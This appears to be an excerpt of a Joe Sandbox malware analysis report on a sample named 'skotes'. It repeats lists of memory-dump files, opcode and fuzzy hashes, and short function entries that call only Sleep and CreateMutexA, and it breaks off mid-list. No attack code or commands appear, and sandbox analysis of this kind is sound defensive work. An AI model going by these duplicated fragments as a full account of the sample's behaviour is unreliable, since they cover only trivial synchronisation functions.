Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8b2b950999620c01408c660bc4eccc8a80de9135eab3b772b4c11332f473e9fb
Instruction ID: 4dccc6b4ce530fb36bf76a2d5155ebe99b945b42c8879985d5994be6e369750d
Opcode Fuzzy Hash: 8b2b950999620c01408c660bc4eccc8a80de9135eab3b772b4c11332f473e9fb
Instruction Fuzzy Hash: E1312631B042049BFF08EBB8DC9DB6DB7B2DF95314F64461AE014977D1D7769A808B12

Function 0018A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 25c95516bedc280a5849856a7869fa523ad2ddddcea9333dfbed2248be5cc59b
Instruction ID: e4f1685516924bef1979bbee330226968c04a72d0b46926af614899a09620749
Opcode Fuzzy Hash: 25c95516bedc280a5849856a7869fa523ad2ddddcea9333dfbed2248be5cc59b
Instruction Fuzzy Hash: 3C312831B042409BFF18EBB8DCDDB6DB7B2AF96310F64461AE014972D1D7769A808B12

Function 0018A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dfd6cd15f7eaf6df6967c2a0c4a6a3a1f496e5f2d3686383dbbb1d6f4ae7ed4c
Instruction ID: 6870f4161f413537282f9aeeb3151346d81c6ff14debacdc1f5debdcd724ddb1
Opcode Fuzzy Hash: dfd6cd15f7eaf6df6967c2a0c4a6a3a1f496e5f2d3686383dbbb1d6f4ae7ed4c
Instruction Fuzzy Hash: E8312A31B042009BFF08ABB8D89DB6DB772DF95314F64421AE0549B2D5D7B55A808B52

Function 0018A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f44053a3f39fc7f05dfaec665ff8a8ab054d441012b8a8dd603ca27002e2a214
Instruction ID: 194b8efaab01279506e5823083db3ed63966b1a61df829ea797da7425acb04cc
Opcode Fuzzy Hash: f44053a3f39fc7f05dfaec665ff8a8ab054d441012b8a8dd603ca27002e2a214
Instruction Fuzzy Hash: 05314A31B042009BFB08EBB8DCDDB6DB7A2EF85314F64461AE0149B2D5D7759A808B12

Function 0018A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814597187.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814612958.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814630930.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814645383.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814662355.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9e5fbf6889e2073b1a68bbe41312c8dbd5e6544edb73501ef8063f9088e659da
Instruction ID: 200b5d8e362477f08d64f25d0ea3053dcb0a79b1cdd9f1efa4e239f2fad4ce8a
Opcode Fuzzy Hash: 9e5fbf6889e2073b1a68bbe41312c8dbd5e6544edb73501ef8063f9088e659da
Instruction Fuzzy Hash: 35315B31B042009BFF08EB78DCDDB6DB7B2DF85314F64461AE014A72D5D7759A808B52

Function 00189ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000002.00000002.1812850326.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812870279.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812940206.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812963350.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1812999416.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813149923.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813357297.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813420934.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813507411.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813538909.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813567203.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813625400.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813654514.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813698678.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813723512.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813750156.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813785614.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813816721.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813833678.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813856462.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813885593.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1813909839.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814220860.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814256848.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814281862.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814303448.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814324797.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814347837.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814368350.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814391386.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814412911.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814435400.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814461910.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814478148.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814495755.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814512077.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814532460.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1814552970.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
